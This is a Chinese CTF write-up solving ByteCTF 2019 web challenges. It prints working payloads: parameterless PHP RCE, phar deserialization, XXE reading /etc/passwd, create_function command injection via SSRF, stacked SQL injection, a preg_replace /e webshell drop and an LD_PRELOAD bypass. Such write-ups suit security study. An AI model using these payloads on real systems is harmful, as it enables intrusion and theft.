Back

ByteCTF 2019 Web WP

周末自己打了一会 Byte CTF ,队里其他师傅都没啥时间,自己做题比较慢,就只做了几个题。

Web

boring_code

<?php
function is_valid_url($url) {
    if (filter_var($url, FILTER_VALIDATE_URL)) {
        if (preg_match('/data:\/\//i', $url)) {
            return false;
        }
        return true;
    }
    return false;
}

if (isset($_POST['url'])){
    $url = $_POST['url'];
    if (is_valid_url($url)) {
        $r = parse_url($url);
        if (preg_match('/baidu\.com$/', $r['host'])) {
            $code = file_get_contents($url);
            if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);
                }
            }
        } else {
            echo "error: host not allowed";
        }
    } else {
        echo "error: invalid url";
    }
}else{
    highlight_file(__FILE__);
}

审计题,由 PHP SSRF Techniques 这篇文章我们可以知道有几种 bypass trick,与题目比较类似的是最后一种 trick ,使用 data 协议绕过进行 xss

data://google.com/plain;base64,SSBsb3ZlIFBIUAo=

但是我们这里 data 直接被 ban 掉了,就没办法了…

这里我们队 @rmb122 师傅是直接买了一个域名xxxxbaidu.com这样,然后起个 http 服务就行,然而看了 ROIS 的 wp ,还有一个比较有意思的解法,就是利用百度爬虫。

在百度搜索界面如果爬到的自己网站的话,点击自己的网站,并不是直接访问自己的网站,而是百度有一个重定向的机制,将你的网站转换成了类似如下的形式

http://www.baidu.com/link?url=7W9evem35YiIRoQTUDMHxL5ZzKqb8nlwG_me93YTuIZLKV6l0YLOZcxWlVTdNGPQ70SncapWoM5ceZ55fUae6a

最终还是会跳转到你的网站,但是这个要求就是需要让百度的虫子爬到自己的网站,百度爬虫一般是两三天生效,所以如果是早就有自己的站并且被百度爬虫爬了的,或者在百度站长上提交了的都可以采用这种类似的方法进行绕过。

接下来一个正则/[a-z]+\((?R)?\)/,就是一个无参数 RCE 了,意思就是只允许使用类似a(b(c()));这种形式,并且过滤了下划线,很多函数都不能用了。

再接下来一个正则/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i,就是一个简单的关键字过滤了,我们可以使用get_definded_functions来取得所有内置可用函数,再用这个正则过滤,保留最后剩下的函数,用这个函数绕过上面的正则就行了。

根据题目提示,题目的 Web 目录形式大致是

.
├── code
│   └── index.php
└── index.php

1 directory, 2 files

我们运行的源代码是在 code 文件夹下,而 flag 是在与 code 目录平级的 index.php 文件中,意思就是我们需要获得../index.php的源码,我们可以构建一个类似的代码环境方便调试。

所以第一个我们比较容易想到的是用scandir函数拿到当前目录,得到一个数组,使用chdir函数跳到上级目录,再用readfile进行读取。

首先用scandir得到当前目录数组:

php > var_dump(scandir('.'));
array(3) {
  [0]=>
  string(1) "."
  [1]=>
  string(2) ".."
  [2]=>
  string(8) "test.php"
}

可以看到..是在第二个,也就是数组的 array[1] 位置,于是我们可以使用next函数获得数组第二个字符串。

php > var_dump(next(scandir('.')));
PHP Notice:  Only variables should be passed by reference in php shell code on line 1
string(2) ".."

接着用chdir函数跳到上级目录:

php > var_dump(chdir(next(scandir('.'))));
PHP Notice:  Only variables should be passed by reference in php shell code on line 1
bool(true)

虽然有一个 PHP Notice ,但是也误伤大雅,这里关键的是chdir返回值是个bool(true),并没有返回上级目录数组什么的,这样我们貌似就不能获取到上级目录下的文件了,也就不能拿到源码了。

我们暂时先抛开这个问题,先假设到了上级目录,那我们是不是也可以像上面的方法一样,用sandir获得数组来进一步读取文件呢?

php > var_dump(scandir('.'));
array(4) {
  [0]=>
  string(1) "."
  [1]=>
  string(2) ".."
  [2]=>
  string(4) "code"
  [3]=>
  string(9) "index.php"
}

这样我们就可以看到我们的目标文件了,因为目录排序的原因, i 在 c 的后面,所以我们肯定可以直接用end函数直接获取这个数组的最后一个拿到index.php字符串,

php > var_dump(end(scandir('.')));
PHP Notice:  Only variables should be passed by reference in php shell code on line 1
string(9) "index.php"

接着我们就可以愉快的用readfile来获取 flag 了

php > var_dump(readfile(end(scandir('.'))));
PHP Notice:  Only variables should be passed by reference in php shell code on line 1
<?php
$flag = "This is index.php! And you get flag!";int(54)

前面后面我们都打通了,现在唯一缺的就是如何把chdir返回的bool(true)变成.以便scandir函数调用的问题了。

经过 @rmb122 师傅的发掘,microtime可以接受一个bool(true)参数,并返回当前 Unix 时间戳和微秒数

php > var_dump(microtime(true));
float(1568657564.377)

乍一看没什么用,但是我们依然可以配合chr函数来进行 ascii 码转换,当时间到了指定时间,我们就可以拿到.字符了!于是这样一开始如何构造最开始的.这个问题也可以解决了!

于是整个 payload 就是:

readfile(end(scandir(chr(microtime(chdir(next(scandir(chr(time())))))))));

这个方法的缺点也比较明显,需要爆破…于是我用 intruder 爆了一下,运气也比较好,5s 就出来了。

EzCMS

这个题不想评价太多…拿我出的 SUCTF upload labs 2 来魔改的题,这里就简要说说点,不再详细赘述了。

这个题也是个上传的环境,但是上传有一个限制以及还有一个可疑的__call魔术方法

class Profile{
    public $username;
    public $password;
    public $admin;
    public function is_admin(){
        $this->username = $_SESSION['username'];
        $this->password = $_SESSION['password'];
        $secret = "********";
        if ($this->username === "admin" && $this->password != "admin"){
            if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
                return 1;
            }
        }
        return 0;
    }
    function __call($name, $arguments)
    {
        $this->admin->open($this->username, $this->password);
    }
}

这里可以用 hash 长度拓展来绕过,hashpump 就行。

function __construct($filename, $file_tmp, $size)
{
  $this->upload_dir = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
  if (!file_exists($this->upload_dir)){
    mkdir($this->upload_dir, 0777, true);
  }
  if (!is_file($this->upload_dir.'/.htaccess')){
    file_put_contents($this->upload_dir.'/.htaccess', 'lolololol, i control all');
  }
  $this->size = $size;
  $this->filename = $filename;
  $this->file_tmp = $file_tmp;
  $this->content_check = new Check($this->file_tmp);
  $profile = new Profile();
  $this->checker = $profile->is_admin();
}

虽然可以上传任意后缀的文件,但是上传目录下有被控制的.htaccess,导致我们上传的 php 文件不能解析,而且每次登录都会生成这个.htaccess文件,不能被绕过。

class File{
  function __destruct()
  {
    if (isset($this->checker)){
      $this->checker->upload_file();
    }
  }
}

整个题唯一一个__destruct函数,不用猜就知道是利用这个点

class File{
  public function view_detail(){
    if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
      die("nonono~");
    }
    $mine = mime_content_type($this->filepath);
    $store_path = $this->open($this->filename, $this->filepath);
    $res['mine'] = $mine;
    $res['store_path'] = $store_path;
    return $res;
  }
}

这里是一个很明显的 phar 反序列化的点,触发函数是mime_content_type,触发流是php://filter

整个题的意思也比较明显,但是一开始不是很 get 到点,给出的那个__call魔术方法有点莫名其妙,然后一直去日move_uploaded_file方法去了,结果发现这个根本日不动。然后经过马师傅的提醒,get 了一个 ZipArchive::open 函数,然后一切就明白了,随手一搜就是个原题魔改题 Insomni’hack Teaser 2018比赛Write Up:File Vault题目,可以使用 ZipArchive->open 方法达到删除目标文件。

所以整个利用链就比较清晰了, hash 拓展绕过上传限制,上传一个 webshell ,再构造一个 ZipArchive 类的 phar 包上传,用php://filter/resource=phar://触发 phar 反序列化删除自己目录下的.htaccess文件,直接 getflag 。

构造 phar 包的代码如下:

<?php
class Check{
    public $filename;

    function __construct($filename)
    {
        $this->filename = $filename;
    }
}

class File{

    public $filename;
    public $filepath;
    public $checker;

}

class Admin{
    public $size;
    public $checker;
    public $file_tmp;
    public $filename;
    public $upload_dir;
    public $content_check;
}

class Profile{

    public $username = "/var/www/html/sandbox/9607fe6aa978f6811eb3fe830b544771/.htaccess";
    public $password = "9";
    public $admin;

}

class A{
    public $a = 1;
}

unlink("1.phar");

$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
// <?php __HALT_COMPILER();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); //设置stub
$a = new ZipArchive();
$b = new Profile();
$b->admin = $a;
$o = new File();
$o->checker = $b;
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); 
    //签名自动计算
$phar->stopBuffering();
?>

rss

根据题目名字,因为 rss 本身也是个 XML ,这里的考点之一肯定就是 xxe 了。

于是直接拿一个 rss xxe 模版来改一下

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" 
    xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>先知安全技术社区</title>
        <link>http://xz.aliyun.com/forum/</link>
        <description>先知安全技术社区</description>
        <atom:link href="http://xz.aliyun.com/forum/feed/" rel="self"></atom:link>
        <language>zh-hans</language>
        <lastBuildDate>Sun, 08 Sep 2019 10:15:41 +0800</lastBuildDate>
        <item>
            <title>&xxe;</title>
            <link>http://xz.aliyun.com/t/6223</link>
            <description>CVE-2018-14418 擦出新火花</description>
            <pubDate>Sun, 08 Sep 2019 10:15:41 +0800</pubDate>
            <guid>http://xz.aliyun.com/t/6223</guid>
        </item>
    </channel>
</rss>

Url_parse 可以按照上面 boring_code 那题使用,来绕过,在自己的端口起个 http 服务,放上面的 xml 文件就行了,类似http://your_vps:80,baidu.com:80/file

成功读到/etc/passwd,但是读不到/flag,接着用 php 伪协议读题目源码:

index.php

<?php
ini_set('display_errors',0);
ini_set('display_startup_erros',1);
error_reporting(E_ALL);
require_once('routes.php');

function __autoload($class_name){
    if(file_exists('./classes/'.$class_name.'.php')) {

        require_once './classes/'.$class_name.'.php';

    } else if(file_exists('./controllers/'.$class_name.'.php')) {

        require_once './controllers/'.$class_name.'.php';

    }
}

routes.php

<?php

Route::set('index.php',function(){
    Index::createView('Index');
});

Route::set('index',function(){
    Index::createView('Index');
});

Route::set('fetch',function(){
    if(isset($_REQUEST['rss_url'])){
        Fetch::handleUrl($_REQUEST['rss_url']);
    }
});

Route::set('rss_in_order',function(){
    if(!isset($_REQUEST['rss_url']) && !isset($_REQUEST['order'])){
        Admin::createView('Admin');
    }else{
      if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
        Admin::sort($_REQUEST['rss_url'],$_REQUEST['order']);
      }else{
       echo ";(";
      }
    }
});

controllers/Admin.php

<?php

class Admin extends Controller{
    public static function sort($url,$order){
        $rss=file_get_contents($url);
        $rss=simplexml_load_string($rss,'SimpleXMLElement', LIBXML_NOENT);
        require_once './views/Admin.php';
    }
}

controllers/Fetch.php

<?php

class Fetch extends Controller{

    public static function handleUrl($url) {
        $r = parse_url($url);
        $invalidUrl = false;
	if (preg_match('/aliyun\.com$/', $r['host']) || preg_match('/baidu\.com$/', $r['host']) || preg_match('/qq\.com$/', $r['host'])) { 
            $rss = Rss::fetch($url);
        }else {
            $invalidUrl = true;
        }
        require_once './views/Fetch.php';
    }
}

Rss.php

<?php

class Rss {

    public static function curl_request($url, $post = '', $cookie = '', $headers = '', $returnHeader = 0) {
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)');
        curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($curl, CURLOPT_AUTOREFERER, 1);
        curl_setopt($curl, CURLOPT_REFERER, $url);
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
        if ($post) {
            curl_setopt($curl, CURLOPT_POST, 1);
            curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($post));
        }
        if ($cookie) {
            curl_setopt($curl, CURLOPT_COOKIE, $cookie);
        }
        if ($headers) {
            curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
        }
        curl_setopt($curl, CURLOPT_HEADER, 1);
        curl_setopt($curl, CURLOPT_TIMEOUT, 5);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        $data = curl_exec($curl);
        if (curl_errno($curl)) {
            return curl_error($curl);
        }
        curl_close($curl);
        list($header, $body) = explode("\r\n\r\n", $data, 2);
        $info['header'] = $header;
        $info['body'] = $body;
        return $info;
    }

    public static function fetch($url) {
        libxml_disable_entity_loader(false);
        $rss=file_get_contents($url);
        $rss=simplexml_load_string($rss,'SimpleXMLElement', LIBXML_NOENT);
        return $rss;
    }
}

view/Admin.php

<?php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1'){
    die(';(');
}
?>
<?php include('package/header.php') ?>
<?php if(!$rss) {
    ?>
<div class="rss-head row">
    <h1>RSS解析失败</h1>
    <ul>
        <li>此网站RSS资源可能存在错误无法解析</li>
        <li>此网站RSS资源可能已经关闭</li>
        <li>此网站可能禁止PHP获取此内容</li>
        <li>可能由于来自本站的访问过多导致暂时访问限制Orz</li>
    </ul>
</div>
<?php
    exit;
};
function rss_sort_date($str){
    $time=strtotime($str);
    return date("Y年m月d日 H时i分",$time);
}
?>
<div>
<div class="rss-head row">
    <div class="col-sm-12 text-center">
        <h1><a href="<?php echo $rss->channel->link;?>" target="_blank"><?php echo $rss->channel->title;?></a></h1>
        <span style="font-size: 16px;font-style: italic;width:100%;"><?php echo $rss->channel->link;?></span>
        <p><?php echo $rss->channel->description;?></p>
        <?php

            if(isset($rss->channel->lastBuildDate)&&$rss->channel->lastBuildDate!=""){
                echo "<p> 最后更新:".rss_sort_date($rss->channel->lastBuildDate)."</p>";
            }
        ?>
    </div>
</div>
<div class="article-list" style="padding:10px">
    <?php 
    $data = [];
    foreach($rss->channel->item as $item){
        $data[] = $item;
    }
    usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
    foreach($data as $item){    
    ?>
        <article class="article">
            <h1><a href="<?php echo $item->link;?>" target="_blank"><?php echo $item->title;?></a></h1>
            <div class="content">
                <p>
                    <?php echo $item->description;?>
                </p>
            </div>
            <div class="article-info">
                <i style="margin:0px 5px"></i><?php echo rss_sort_date($item->pubDate);?>
                <i style="margin:0px 5px"></i>
                <?php
                    for($i=0;$i<count($item->category);$i++){
                        echo $item->category[$i];
                        if($i+1!=count($item->category)){
                            echo ",";
                        }
                    };
                    if(isset($item->author)&&$item->author!=""){
                ?>
                        <i class="fa fa-user" style="margin:0px 5px"></i>
                <?php
                        echo $item->author;
                    }
                ?>
            </div>
        </article>
    <?php }?>
</div>
<div class="text-center">
    免责声明:本站只提供RSS解析,解析内容与本站无关,版权归来源网站所有
</div>
</div>
</div>

<?php include('package/footer.php') ?>

我们可以在 view/Admin.php 中看到关键点

usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));

这是个在 FireShell CTF 2019 出过的考点,因为create_function可以进行代码注入,我们可以有以下这种操作

id,id);};die(system('ls -la /'));/*

这样就可以进行命令执行了,所以我们只需要在 xxe 中构造一个 ssrf 绕过 127.0.0.1 的判断就行了

php://filter/convert.base64-encode/resource=http://127.0.0.1/rss_in_order?rss_url=http%3A%2F%2F122.112.199.14%2Fexample&order=id%2Cid)%3B%7D%3Bdie(system('ls%20-la%20%2F'))%3B%2F*

/flag_eb8ba2eb07702e69963a7d6ab8669134拿到 flag

babyblog

这个题最后没啥时间做了,比较可惜。赛后复盘了一下,仔细看看也没太大的难度,属于还算比较简单的。

扫描可以拿到 www.zip ,拿到源码,进行审计。

在 replace.php 中有经过$row['isvip'] == 1判断才能使用的功能,在 register.php 中有

$sql->query("insert into users (username,password,isvip) values ('$username', '$password',0);");

每次注册isvip被设置为 0 的,所以接下来我们需要找个注入点把我们设置为 vip

关键点就在 edit.php 当中:

if(isset($_POST['title']) && isset($_POST['content']) && isset($_POST['id'])){
	foreach($sql->query("select * from article where id=" . intval($_POST['id']) . ";") as $v){
		$row = $v;
	}
	if($_SESSION['id'] == $row['userid']){
		$title = addslashes($_POST['title']);
		$content = addslashes($_POST['content']);
		$sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");
		exit("<script>alert('Edited successfully.');location.href='index.php';</script>");
	}else{
		exit("<script>alert('You do not have permission.');history.go(-1);</script>");
	}
}

其中

$sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");

$row['title']是上面 sql 语句取出来的结果,而title在 writing.php 插入的时候,虽然做了防注入,使用addslashes转义了title的内容

if(isset($_POST['title']) && isset($_POST['content'])){
	$title = addslashes($_POST['title']);
	$content = addslashes($_POST['content']);
	$sql->query("insert into article (userid,title,content) values (" . $_SESSION['id'] . ", '$title','$content');");
	exit("<script>alert('Posted successfully.');location.href='index.php';</script>");
}

但是在上面未经任何处理又直接取出来会导致二次注入,例如第一次插入'1,经过addlashes转义,sql 语句变成

insert into article (userid,title,content) values ("1", '\'1','1');"

但是插入数据库的内容是'1,取出来的时候也是'1,这就导致了注入。

所以我们可以利用这个点进行注入,update 我们的 isvip 字段就行

';update users set isvip=1 where username='zedd';

接下来就是那个奇葩正则了:

$filter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\")|(\+|-|~|!|@:=|" . urldecode('%0B') . ").+?)FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
if(preg_match('/' . $filter . '/is', $value)){
  exit("<script>alert('Failure!Do not use sensitive words.');location.href='index.php';</script>");
}

看起来虽然过滤了很多,但是我们依然可以使用堆叠注入来绕过:

set @t=0x73656c65637420312c323b;prepare x from @t;execute x;

所以我们把上面的 sql 语句换成16进制,就行了

';set @t=0x757064617465207573657273207365742069737669703d3120776865726520757365726e616d653d277a656464273b;prepare x from @t;execute x;

成为 vip 之后看到 replace.php 当中的内容:

$content = addslashes(preg_replace("/" . $_POST['find'] . "/", $_POST['replace'], $row['content']));

比较明显的一个利用 php 正则/e执行命令的写法,可以使用%00截断最后的一个斜杠,在$_POST['find']中使用/e修饰符

find=/e%00&replace=phpinfo();&regex=1&id=2

POST 之后拿到 phpinfo 信息,Web 根目录 /var/www/html, disable_functions :

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,ini_set,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail

还有putenv,考烂了的 LD_PRELOAD 绕过,直接写个 webshell :

find=/e%00&replace=file_put_contents('/var/www/html/webshell.php','<?php eval($_POST[a]);');&regex=1&id=2

发现还有 basedir 的限制,可以用以下列目录

if ($dh = opendir("glob:///*")) {
	while (($file = readdir($dh)) !== false) {
		echo "$file\n";
	}
	closedir($dh);
}

在根目录有/readflag,直接写一个 so 文件就行了

#define  _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>

void pwn(void) {
	system("/readflag > /var/www/html/res 2>&1");
}

void getpid(){
  unsetenv("LD_PRELOAD");
  pwn();
}

在当前 web 目录拿到 flag。//因为是复现环境就无所谓了。

dot_server_prove

这个题比赛的时候没怎么看,看了 bytesCTF dot_server_prove WriteUP,简单总结一下涉及的知识点:

  • 逆向 bin 文件查看逻辑,根据 host 来访问不同的站点,就像 apache 的 virtualhost 一样,读取 log 来保存你的 ua
  • 在 ua 处进行 xss ,读取页面有 ssrf
  • ssrf 打 dict://172.18.0.3:6379/info 得到 redis 版本号 4.x
  • 通过 gopher 利用主从复制的进行 RCE

iCloudMusic

打算与 SUCTF 的 iCloudMusic 放一起写吧

Conclusion

题目都不算特别难,除了马师傅的 iCloudMusic 跟 dot_server_prove ,两个不是很摸得着头脑的题, Web1/2/3 都有点魔改凑题的嫌疑,这几题并没有特别亮眼的知识点,都属于考过的,后面两题还是比较有意思的,dot_server_prove 可能不是很 get 到点,毕竟也属于一个比较新颖的题目了,以及马师傅的 iCloudMusic ,毕竟也是专门研究了一个多月的 electron orz…还是有一点收获的,希望线下赛不会被打爆 orz…

Licensed under CC BY-NC-SA 4.0

I am looking for some guys who have a strong interest in CTFs to build a team focused on international CTFs that are on the ctftime.org, if anyone is interested in this idea you can take a look at here: Advertisements


想了解更多有意思的国际赛 CTF 中 Web 知识技巧,欢迎加入我的 知识星球 ; 另外我正在召集一群小伙伴组建一支专注国际 CTF 的队伍,如果有感兴趣的小伙伴也可在 International CTF Team 查看详情


comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy